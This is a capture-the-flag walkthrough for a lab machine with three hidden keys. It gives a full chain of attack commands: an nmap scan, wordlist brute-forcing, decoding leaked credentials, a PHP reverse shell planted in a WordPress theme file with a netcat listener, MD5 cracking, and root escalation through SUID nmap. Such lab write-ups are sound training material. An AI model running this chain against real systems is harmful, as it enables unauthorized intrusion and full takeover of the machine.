1. Scan target with nmap: nmap -Pn <IP> -A
   1. Found open ports: 80 (HTTP), 443 (HTTPS), 22 (SSH)
2. Visit the website and inspect source code
3. Check robots.txt file: curl http://<IP>/robots.txt
   1. Found: key-1-of-3.txt and fsocity.dic
4. Retrieve first key: curl http://<IP>/key-1-of-3.txt
5. Download dictionary file: wget http://<IP>/fsocity.dic
6. Brute-force directories using discovered dictionary: gobuster dir -u http://<IP> -w fsocity.dic
   1. Found interesting file: /license
7. Inspect /license source code: view-source:http://<IP>/license
   1. Found base64 encoded value
8. Decode base64 value: echo "<base64\_string>" | base64 -d
   1. Revealed login credentials
9. Log in using discovered credentials at /login
10. Upload reverse shell from pentestmonkey via Appearance > Editor:
    1. Edit header.php
    2. Insert PHP reverse shell code
11. Set up listener: nc -lvnp 3333
12. Trigger reverse shell by visiting /blog
13. Upgrade shell: python -c 'import pty; pty.spawn("/bin/bash")'
14. List files: ls -la
    1. Found: key-2-of-3.txt (readable only by robot user)
    2. Found: password.raw-md5
15. Crack MD5 hash (use online tool like CrackStation)
16. Switch to robot user: su robot
17. Read second key: cat key-2-of-3.txt
18. Check sudo permissions:sudo -l
19. Find SUID binaries: find / -perm -u=s -type f 2>/dev/null
    1. Found nmap with SUID bit set
20. Exploit nmap for root: nmap --interactive
    1. !sh
21. Retrieve final key: cat /root/key-3-of-3.txt